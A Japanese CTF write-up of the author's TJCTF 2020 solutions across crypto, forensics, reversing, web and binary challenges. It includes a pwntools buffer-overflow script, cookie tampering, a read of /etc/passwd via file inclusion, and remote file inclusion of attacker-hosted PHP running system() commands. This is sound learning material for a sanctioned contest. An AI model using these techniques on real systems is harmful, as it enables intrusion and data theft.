TJCTF 2020 Writeup

この大会は2020/5/22 9:00(JST)~2020/5/26 9:00(JST)に開催されました。
今回もチームで参戦。結果は660点で1209チーム中162位でした。
自分で解けた問題をWriteupとして書いておきます。

A First Step (Miscellaneous 5)

問題にフラグが書いてあった。

tjctf{so0p3r_d0oper_5ecr3t}

Discord (Miscellaneous 5)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
f:id:satou-y:20200529092628p:plain

tjctf{we_love_wumpus}

Broken Button (Web 10)

HTMLソースを見ると、こんなボタンがある。

<button class ="hidden" href="find_the_flag!.html"></button>

https://broken_button.tjctf.org/find_the_flag!.htmlにアクセスすると、フラグが表示された。

tjctf{wHa1_A_Gr8_1nsp3ct0r!}

Speedrunner (Cryptography 10)

quipqiupで復号する。

CAN YOU PLEASE NOT USE THE TERM "WORLD RECORD'? IT'S VERY MISLEADING AND ASSUMES THAT THE VIDEO POSTED IS THE FASTEST TIME, WHERE IN FACT SOMEONE ELSE COULD HAVE A FASTER, UNRECORDED VERSION. COULD YOU PLEASE USE THE TERM BKTWVEAAAVBMOFSRC (BEST KNOWN TIME WITH VIDEO EVIDENCE AS APPROVED AND VERIFIED BY MEMBERS OF THE SPEED RUNNING COMMUNITY) IN THE FUTURE. THIS WOULD HELP LOWER CONFUSION IN THESE TYPES OF VIDEOS IN REGARD TO THE EVER UPDATING AND EVOLVING NATURE OF THE SPEEDRUNNING COMMUNITY. TJCTF{NEW_TECH_NEW_TECH_GO_FAST_GO_FAST}
||>
この文章の末尾にフラグがあった。
>|
<b>TJCTF{NEW_TECH_NEW_TECH_GO_FAST_GO_FAST}</b>
|<

* Forwarding (Reversing 10)
>|sh|
$ strings d9c4527bc1d5c58c1192f00f2e2ff68f84c345fd2522aeee63a0916897197a7a_forwarding | grep tjctf
tjctf{just_g3tt1n9_st4rt3d}
tjctf{just_g3tt1n9_st4rt3d}

Ling Ling (Forensics 10)

tweakpngで見ると、zTXtチャンクに以下のデータがある。

generic profile
      76
4578696600004d4d002a000000080003012800030000000100020000013b000200000014
0000003202130003000000010001000000000000746a6374667b63683070316e5f666c34
67737d00

末尾のデータをhexデコードする。

>>> '746a6374667b63683070316e5f666c3467737d'.decode('hex')
'tjctf{ch0p1n_fl4gs}'
tjctf{ch0p1n_fl4gs}

Gym (Reversing 20)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  FILE *__stream;
  long in_FS_OFFSET;
  int local_ac;
  uint local_a8;
  char local_98 [64];
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_ac = 0xd3;
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  printf("I\'m currently %d lbs. Can I be exactly 180? Help me out!",0xd3);
  local_a8 = 1;
  do {
    if (7 < (int)local_a8) {
      sleep(3);
      if (local_ac == 0xb4) {
        __stream = fopen("flag.txt","r");
        if (__stream == (FILE *)0x0) {
          puts("Flag File is Missing. Contact a moderator if running on server.");
                    /* WARNING: Subroutine does not return */
          exit(0);
        }
        fgets(local_58,0x40,__stream);
        puts("Congrats on reaching your weight goal!");
        printf("Here is your prize: %s\n",local_58);
      }
      else {
        puts("I didn\'t reach my goal :(");
      }
      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return 0;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    printf("\n-------------------------");
    printf("\nToday is day %d.\n",(ulong)local_a8);
    printf("\nChoose an activity:");
    printf("\n[1] Eat healthy");
    printf("\n[2] Do 50 push-ups");
    printf("\n[3] Go for a run.");
    printf("\n[4] Sleep 8 hours.");
    puts("\n");
    fgets(local_98,4,stdin);
    iVar1 = atoi(local_98);
    if (iVar1 == 2) {
      iVar1 = do_pushup((ulong)local_a8);
      local_ac = local_ac - iVar1;
    }
    else {
      if (iVar1 < 3) {
        if (iVar1 == 1) {
          iVar1 = eat_healthy((ulong)local_a8);
          local_ac = local_ac - iVar1;
        }
      }
      else {
        if (iVar1 == 3) {
          iVar1 = go_run((ulong)local_a8);
          local_ac = local_ac - iVar1;
        }
        else {
          if (iVar1 != 4) goto LAB_00100b5d;
        }
        iVar1 = go_sleep((ulong)local_a8);
        local_ac = local_ac - iVar1;
      }
    }
LAB_00100b5d:
    local_a8 = local_a8 + 1;
  } while( true );
}

undefined8 do_pushup(void)

{
  return 1;
}

undefined8 eat_healthy(void)

{
  return 4;
}

undefined8 go_run(void)

{
  return 2;
}

undefined8 go_sleep(void)

{
  return 3;
}

local_acの初期値は211。180にしたらフラグが表示される。

・1を選択したら、eat_healthyで4マイナス
・2を選択したら、do_pushupで1マイナス
・3を選択したら、go_runで2マイナス、go_sleepで3マイナス
・4を選択したら、go_sleepで3マイナス

7回で到達する必要がある。31マイナスする必要があるので、例えば、以下の流れで実行する。

・3の選択を6回(-5×6=-30)
・2の選択を1回(-1×1=-1)
$ nc p1.tjctf.org 8008
I'm currently 211 lbs. Can I be exactly 180? Help me out!
-------------------------
Today is day 1.

Choose an activity:
[1] Eat healthy
[2] Do 50 push-ups
[3] Go for a run.
[4] Sleep 8 hours.

3

-------------------------
Today is day 2.

Choose an activity:
[1] Eat healthy
[2] Do 50 push-ups
[3] Go for a run.
[4] Sleep 8 hours.

3

-------------------------
Today is day 3.

Choose an activity:
[1] Eat healthy
[2] Do 50 push-ups
[3] Go for a run.
[4] Sleep 8 hours.

3

-------------------------
Today is day 4.

Choose an activity:
[1] Eat healthy
[2] Do 50 push-ups
[3] Go for a run.
[4] Sleep 8 hours.

3

-------------------------
Today is day 5.

Choose an activity:
[1] Eat healthy
[2] Do 50 push-ups
[3] Go for a run.
[4] Sleep 8 hours.

3

-------------------------
Today is day 6.

Choose an activity:
[1] Eat healthy
[2] Do 50 push-ups
[3] Go for a run.
[4] Sleep 8 hours.

3

-------------------------
Today is day 7.

Choose an activity:
[1] Eat healthy
[2] Do 50 push-ups
[3] Go for a run.
[4] Sleep 8 hours.

2
Congrats on reaching your weight goal!
Here is your prize: tjctf{w3iGht_l055_i5_d1ff1CuLt}
tjctf{w3iGht_l055_i5_d1ff1CuLt}

Tinder (Binary 25)

Ghidraでデコンパイルする。

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

int main(void)

{
  char local_a8 [32];
  char local_88 [64];
  char local_48 [16];
  char local_38 [16];
  char local_28 [16];
  FILE *local_18;
  int local_14;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  local_14 = 0;
  setup();
  puts("Welcome to TJTinder, please register to start matching!");
  printf("Name: ");
  input(local_28,1.00000000);
  printf("Username: ");
  input(local_38,1.00000000);
  printf("Password: ");
  input(local_48,1.00000000);
  printf("Tinder Bio: ");
  input(local_88,8.00000000);
  putchar(10);
  if (local_14 == -0x3f2c2ff3) {
    printf("Registered \'%s\' to TJTinder successfully!\n",local_38);
    puts("Searching for matches...");
    sleep(3);
    puts("It\'s a match!");
    local_18 = fopen("flag.txt","r");
    if (local_18 == (FILE *)0x0) {
      puts("Flag File is Missing. Contact a moderator if running on server.");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    fgets(local_a8,0x20,local_18);
    printf("Here is your flag: %s",local_a8);
  }
  else {
    printf("Registered \'%s\' to TJTinder successfully!\n",local_38);
    puts("Searching for matches...");
    sleep(3);
    puts("Sorry, no matches found. Try Again!");
  }
  return 0;
}

このコードを参考に、バッファオーバーフローでlocal_14を上書きするようを調整する。

from pwn import *

conn = remote('p1.tjctf.org', 8002)
#conn = process('./match')

payload = 'a' * 116 + p32(0xc0d3d00d)
print payload
data = conn.recvline().rstrip()
print data
data = conn.recvuntil(': ')
print data + 'name'
conn.sendline('name')
data = conn.recvuntil(': ')
print data + 'user'
conn.sendline('user')
data = conn.recvuntil(': ')
print data + 'pass'
conn.sendline('pass')
data = conn.recvuntil(': ')
print data + payload
conn.sendline(payload)
data = conn.recvline().rstrip()
print data

data = conn.recvline().rstrip()
print data
data = conn.recvline().rstrip()
print data
data = conn.recvline().rstrip()
print data
data = conn.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to p1.tjctf.org on port 8002: Done
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���
Welcome to TJTinder, please register to start matching!
Name: name
Username: user
Password: pass
Tinder Bio: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���

Registered 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���' to TJTinder successfully!
Searching for matches...
It's a match!
Here is your flag: tjctf{0v3rfl0w_0f_m4tch35}
[*] Closed connection to p1.tjctf.org port 8002
tjctf{0v3rfl0w_0f_m4tch35}

Hexillology (Forensics 25)

左のエリアから順にRGBを文字にしていく。

from PIL import Image

img = Image.open('Hexillology.png').convert('RGB')

flag = ''
r, g, b = img.getpixel((200, 100))
flag += chr(r) + chr(g) + chr(b)
r, g, b = img.getpixel((450, 550))
flag += chr(r) + chr(g) + chr(b)
r, g, b = img.getpixel((650, 100))
flag += chr(r) + chr(g) + chr(b)
r, g, b = img.getpixel((900, 550))
flag += chr(r) + chr(g) + chr(b)
r, g, b = img.getpixel((1100, 100))
flag += chr(r) + chr(g) + chr(b)
r, g, b = img.getpixel((1350, 550))
flag += chr(r) + chr(g) + chr(b)
r, g, b = img.getpixel((1550, 100))
flag += chr(r) + chr(g) + chr(b)

print flag
tjctf{pYJrfQK0dbaTPG}

Tap Dancing (Cryptography 25)

問題はこうなっている。

1101111102120222020120111110101222022221022202022211

morse信号と推測して、以下の変換をしてデコードする。

0: space
1: -
2: .
-- ----- .-. ... . -. ----- - -... ....- ... . ...--
M0RSEN0TB4SE3

Typewriter (Cryptography 30)

キーボードのqwerty...の順にアルファベットの順で対応している。対応表は以下のようになる。

暗号:qwertyuiopasdfghjklzxcvbnm
平文:abcdefghijklmnopqrstuvwxyz
C = 'qwertyuiopasdfghjklzxcvbnm{}_'
P = 'abcdefghijklmnopqrstuvwxyz{}_'
Q = 'zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}'
print ''.join(P[C.index(q)] for q in Q)
tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}

Login (Web 30)

HTMLソースを見ると、LoginボタンでcheckUsername()が動くことが分かる。JavaScript部分をhttps://beautifier.io/で整形する。

(function(_0xcd8e51, _0x31ce84) {
    var _0x55c419 = function(_0x56392e) {
        while (--_0x56392e) {
            _0xcd8e51['push'](_0xcd8e51['shift']());
        }
    };
    _0x55c419(++_0x31ce84);
}(_0xb31c, 0x1e7));
var _0x4a84 = function(_0xcd8e51, _0x31ce84) {
    _0xcd8e51 = _0xcd8e51 - 0x0;
    var _0x55c419 = _0xb31c[_0xcd8e51];
    return _0x55c419;
};
checkUsername = function() {
    username = document[_0x4a84('0x1')]('username')[0x0]['value'];
    password = document[_0x4a84('0x1')]('password')[0x0][_0x4a84('0x3')];
    temp = md5(password)[_0x4a84('0x2')]();
    if (username == _0x4a84('0x6') && temp == _0x4a84('0x4')) alert(_0x4a84('0x0') + password + '890898}');
    else alert(_0x4a84('0x5'));
};

Chromeデベロッパーツールで確認しながら、解析する。

_0x4a84('0x1')
"getElementsByName"

_0x4a84('0x3')
"value"

_0x4a84('0x2')
"toString"

_0x4a84('0x6')
"admin"

_0x4a84('0x4')
"4312a7be33f09cc7ccd1d8a237265798"

_0x4a84('0x0')
"tjctf{"

username = "admin"
md5(password) = "4312a7be33f09cc7ccd1d8a237265798"

CrackStationでこのハッシュをクラックする。

horizons
tjctf{horizons890898}

Sarah Palin Fanpage (Web 35)

VIP areaに行くと、Access deniedになっている。Top 10 momentsですべてをLike this momentにする必要があるようだ。しかしボタンを押して、Like this momentにしていくと、5つまでしか押せない。
クッキーを見てみる。dataの値に以下が設定されている。

eyIxIjpmYWxzZSwiMiI6ZmFsc2UsIjMiOnRydWUsIjQiOnRydWUsIjUiOnRydWUsIjYiOnRydWUsIjciOmZhbHNlLCI4IjpmYWxzZSwiOSI6ZmFsc2UsIjEwIjpmYWxzZX0%3D
$ echo eyIxIjpmYWxzZSwiMiI6ZmFsc2UsIjMiOnRydWUsIjQiOnRydWUsIjUiOnRydWUsIjYiOnRydWUsIjciOmZhbHNlLCI4IjpmYWxzZSwiOSI6ZmFsc2UsIjEwIjpmYWxzZX0= | base64 -d
{"1":false,"2":false,"3":true,"4":true,"5":true,"6":true,"7":false,"8":false,"9":false,"10":false}

これを全部trueにしたもののbase64エンコードデータをセットしてみる。

$ echo -n '{"1":true,"2":true,"3":true,"4":true,"5":true,"6":true,"7":true,"8":true,"9":true,"10":true}' | base64
eyIxIjp0cnVlLCIyIjp0cnVlLCIzIjp0cnVlLCI0Ijp0cnVlLCI1Ijp0cnVlLCI2Ijp0cnVlLCI3
Ijp0cnVlLCI4Ijp0cnVlLCI5Ijp0cnVlLCIxMCI6dHJ1ZX0=

以下をクッキーにセットしてみる。

eyIxIjp0cnVlLCIyIjp0cnVlLCIzIjp0cnVlLCI0Ijp0cnVlLCI1Ijp0cnVlLCI2Ijp0cnVlLCI3Ijp0cnVlLCI4Ijp0cnVlLCI5Ijp0cnVlLCIxMCI6dHJ1ZX0%3D

リロードしたら、Like this momentになった。これでVIP areaに行ってみると、フラグが表示された。
f:id:satou-y:20200529193849p:plain

tjctf{C4r1b0u_B4rb1e}

Chord Encoder (Reversing 40)

問題のPythonコードの処理はこうなっている。

・chords.txtを読み込み
 chords = {'A': '0112', ..., 'g': '000'}
・song.txtのデータを読み込み
・読み込みデータを1文字ずつASCIIコード(16進数)で1文字目c1, 2文字目c2
 c1, c2がそれぞれ以下の場合により、対応する文字に変換される。
 1 -> A -> 0112
 2 -> B -> 2110
 3 -> C -> 1012
 4 -> D -> 020
 5 -> E -> 0200
 6 -> F -> 1121
 7 -> G -> 001
 a      -> 0122
 b      -> 2100
 c      -> 1002
 d      -> 010
 e      -> 0100
 f      -> 1011
 g      -> 000

つまり以下のような変換になる。

000  -> g
001  -> 7
010  -> d
0100 -> e
0112 -> 1
0122 -> a
020  -> 4
0200 -> 5
1002 -> c
1011 -> f
1012 -> 3
1121 -> 6
2100 -> b
2110 -> 2

4, 5の分岐、d, eの分岐に注意しながら、可能性のある文字に戻していく。

1121112111211002112101121121001001210000101221121011200102000110120200101100100111211011001020020010111012011202001011112110121121011211211002112110020200101111210112020010111121010112102001121100211211011020020001010

6   6   6   c   6   1   6   7  7  b   7  a   6   1   7  4  7  3   4  d  ?
6   6   6   c   6   1   6   7  7  b   7  a   6   1   7  4  7  3   5   f   7  7  6   f   7  5   ?  
6   6   6   c   6   1   6   7  7  b   7  a   6   1   7  4  7  3   5   f   7  7  6   f   7  4  4  d  ?
6   6   6   c   6   1   6   7  7  b   7  a   6   1   7  4  7  3   5   f   7  7  6   f   7  4  5   f   3   1   4  d  ?
6   6   6   c   6   1   6   7  7  b   7  a   6   1   7  4  7  3   5   f   7  7  6   f   7  4  5   f   3   1   5   f   6   3   6   1   6   c   6   c   4  d  ?
6   6   6   c   6   1   6   7  7  b   7  a   6   1   7  4  7  3   5   f   7  7  6   f   7  4  5   f   3   1   5   f   6   3   6   1   6   c   6   c   5   f   6   1   4  d  ?
6   6   6   c   6   1   6   7  7  b   7  a   6   1   7  4  7  3   5   f   7  7  6   f   7  4  5   f   3   1   5   f   6   3   6   1   6   c   6   c   5   f   6   1   5   f   6   d  6   4  1   ?
6   6   6   c   6   1   6   7  7  b   7  a   6   1   7  4  7  3   5   f   7  7  6   f   7  4  5   f   3   1   5   f   6   3   6   1   6   c   6   c   5   f   6   1   5   f   6   d  6   5   6   c   6   f   5   ?
6   6   6   c   6   1   6   7  7  b   7  a   6   1   7  4  7  3   5   f   7  7  6   f   7  4  5   f   3   1   5   f   6   3   6   1   6   c   6   c   5   f   6   1   5   f   6   d  6   5   6   c   6   f   4  5   d  ?
6   6   6   c   6   1   6   7  7  b   7  a   6   1   7  4  7  3   5   f   7  7  6   f   7  4  5   f   3   1   5   f   6   3   6   1   6   c   6   c   5   f   6   1   5   f   6   d  6   5   6   c   6   f   4  4  7  d
>>> '666c61677b7a6174735f776f745f315f63616c6c5f615f6d656c6f447d'.decode('hex')
'flag{zats_wot_1_call_a_meloD}'
flag{zats_wot_1_call_a_meloD}

Is This Crypto? (Cryptography 50)

XOR鍵1文字で暗号化されていると推測し、ブルートフォースで復号する。

def is_printable(s):
    for c in s:
        if ord(c) < 32 or ord(c) > 126:
            if ord(c) != 10:
                return False
    return True

with open('file.txt', 'rb') as f:
    enc = f.read()

for k in range(256):
    dec = ''
    for i in range(len(enc)):
        code = ord(enc[i]) ^ k
        dec += chr(code)

    if is_printable(dec):
        print 'key =', k
        print dec
        break

実行結果は以下の通り。

key = 145
Cryptography is a discipline that has been around for quite a long time, but in recent times it has seen an explosion of research and implementation. This discipline seeks to provide secure communication and shared data storage using public key cryptography, which essentially reduces the damage that can be done through encryption.

tjctf{n0_th15_is_kyl3}

The Data Centre Standard for Confidentiality and Integrity states that a computer system must not contain any information that cannot be provided at the time of requesting it. The purpose of this standard is to ensure that no data from a connected computer system can be accessed by an unauthorised party. This would allow users to protect their data and make their personal information secure, which is more important than ever.
tjctf{n0_th15_is_kyl3}

RSABC (Cryptography 50)

factordbでnを素因数分解する。

p = 202049603951664548551555274464815496697
q = 285934543893985722871321330457714807993

あとはそのまま復号する。

from Crypto.Util.number import *

n = 57772961349879658023983283615621490728299498090674385733830087914838280699121
e = 65537
c = 36913885366666102438288732953977798352561146298725524881805840497762448828130
p = 202049603951664548551555274464815496697
q = 285934543893985722871321330457714807993

assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
tjctf{BOLm1QMWi3c}

File Viewer (Web 70)

apple.txtと入力すると、https://file_viewer.tjctf.org/reader.php?file=apple.txtに遷移し対応するメッセージが表示される。試しにhttps://file_viewer.tjctf.org/apple.txtにアクセスすると、同じメッセージだった。
https://file_viewer.tjctf.org/reader.php?file=/etc/passwdにアクセスすると、その内容が表示されることもわかったが、どこにフラグのファイルがあるかわからない。
自サーバのPHPからファイルを探してみる。index.phpに以下を記載。

<?php system('ls -la'); ?>

自サーバに設置する。

http://<自サーバドメイン>/index.php

https://file_viewer.tjctf.org/reader.php?file=http://<自サーバドメイン>/index.phpにアクセスする。
f:id:satou-y:20200529195050p:plain

total 44 
dr-xr-xr-x 1 www-data www-data 4096 May 24 16:07 . 
drwxr-xr-x 1 root root 4096 May 15 12:41 .. 
-r--r--r-- 1 root root 44 May 18 15:32 apple.txt 
-r--r--r-- 1 root root 74 May 24 15:12 grape.txt 
dr-xr-xr-x 1 root root 4096 May 24 15:12 i_wonder_whats_in_here 
-r--r--r-- 1 root root 3012 May 18 15:32 index.html 
-r--r--r-- 1 root root 27 May 18 15:32 orange.txt 
-r--r--r-- 1 root root 49 May 18 15:32 pear.txt 
-r--r--r-- 1 root root 27 May 18 15:32 pinneaple.txt 
-r--r--r-- 1 root root 2532 May 18 15:32 reader.php 
-r--r--r-- 1 root root 22 May 18 15:32 watermelon.txt

今度はindex.phpに以下を記載。

<?php system('ls -la i_wonder_whats_in_here'); ?>

https://file_viewer.tjctf.org/reader.php?file=http://<自サーバドメイン>/index.phpにアクセスする。
f:id:satou-y:20200529195325p:plain

total 12 
dr-xr-xr-x 1 root root 4096 May 24 15:12 . 
dr-xr-xr-x 1 www-data www-data 4096 May 24 16:07 .. 
-r--r--r-- 1 root root 47 May 24 15:12 flag.php

今度はindex.phpに以下を記載。

<?php system('cat i_wonder_whats_in_here/flag.php'); ?>
$ curl https://file_viewer.tjctf.org/reader.php?file=http://<自サーバドメイン>/index.php
<html>
    <head>
      :
        <title>File Viewer</title>
    </head>
    <body>
        <fieldset class="main">
            <p> <strong>
                <?php
    // tjctf{n1c3_j0b_with_lf1_2_rc3}
?>
            </strong></p>
        </fieldset>
    </body>
</html>
tjctf{n1c3_j0b_with_lf1_2_rc3}

Zipped Up (Miscellaneous 70)

何重にも圧縮されている。以下のパターンがあり、階層構造があると面倒なため、ディレクトリ作成せずに展開する。

.tar.bz2: tar xf [*.tar.bz2] --strip 1
.kz3: unzip -j [*.kz3]

最後の1001.txtには正しいフラグが記載されていない。途中のtxtでフラグがありそうなので、txtの内容をチェックするようにする。

import subprocess
import os

cmd_kz3 = 'unzip -j %s'
cmd_tar = 'tar xf %s --strip 1'

i = 1
while True:
    for ext in ['.kz3', '.tar.bz2', '.tar.gz']:
        fname = '%d%s' % (i, ext)
        if os.path.exists(fname):
            break
        else:
            fname = ''

    if fname[-3:] == 'kz3':
        cmd = cmd_kz3 % fname
    elif fname[-7:] == 'tar.bz2' or fname[-6:] == 'tar.gz':
        cmd = cmd_tar % fname
    else:
        break
    ret = subprocess.check_output( cmd.split(" ") )
    os.remove(fname)

    fname = '%d.txt' % i
    with open(fname, 'r') as f:
        flag = f.read().rstrip()
    if flag != 'tjctf{n0t_th3_fl4g}':
        print flag
        break

    i += 1
tjctf{p3sky_z1p_f1L35}

Home Rolled (Cryptography 80)

添付されたコードの意味を考えていく。

import os,itertools
def c(l):
 while l():
  yield l
r,e,h,p,v,u=open,any,bool,filter,min,len
b=lambda x:(lambda:x)
w=lambda q:(lambda*x:q(2))
m=lambda*l:[p(e(h,l),key=w(os.urandom)).pop(0)for j in c(lambda:v(l))]
 ★key: 2バイトランダム値
f=lambda l:[b(lambda:m(f(l[:k//2]),f(l[k//2:]))),b(b(l))][(k:=u(l))==1]()()
s=r(__file__).read()★このコードの内容
t=lambda p:",".join(p)★','で結合する関数
o=list(itertools.permutations("rehpvu"))★'rehpvu'の順列リスト
exec(t(o[sum(map(ord,s))%720])+"="+t(b(o[0])()))
 ★左辺=順列リストについてこのコードの各文字のASCIIコードの合計%720番目
 ★右辺=r,e,h,p,v,u
 →r,e,h,p,v,uの定義が入れ替わる。
a=r("flag.txt").read()
 ★r=openと推測できるので、r=r
print("".join(hex((g^x)+(1<<8))[7>>1:]for g,x in zip(f(list(range(256))),map(ord,a))))

このコードをコピーして、そのファイルを読み込むようにして、t(o[sum(map(ord,s))%720]の値を確認してみる。

r,v,h,e,p,u

つまり以下のような対応となる。

r=open
v=any
h=bool
e=filter
p=min
u=len

最後はXORしているが、鍵は不明。特に規則もなさそう。ただ各文字で異なる鍵だというのが分かるので、tjctf{で始まり}で終わることを前提に絞っていく。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_keys(data):
    flag1 = 'tjctf{'
    flag2 = '}'
    keys = []
    for i in range(len(flag1)):
        code = ord(flag1[i]) ^ int(data[i*2:i*2+2], 16)
        keys.append(code)
    code = ord(flag2) ^ int(data[-2:], 16)
    keys.append(code)
    return keys

flags = [[code for code in range(33, 127)] for i in range(31)]

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('p1.tjctf.org', 8012))

    data = recvuntil(s, '\n').rstrip()
    print data
    keys = get_keys(data)
    for i in range(6, 37):
        for key in keys:
            code = int(data[i*2:i*2+2], 16) ^ key
            if code in flags[i-6]:
                flags[i-6].remove(code)

    finish = True
    for i in range(31):
        if len(flags[i]) == 1:
            print chr(flags[i][0]), i
        else:
            finish = False

    if finish:
        break

flag = 'tjctf{'
for i in range(31):
    flag += chr(flags[i][0])
flag += '}'

print flag
tjctf{n3v3r_r0LL_ur_0wn_cryptOMEGALUL}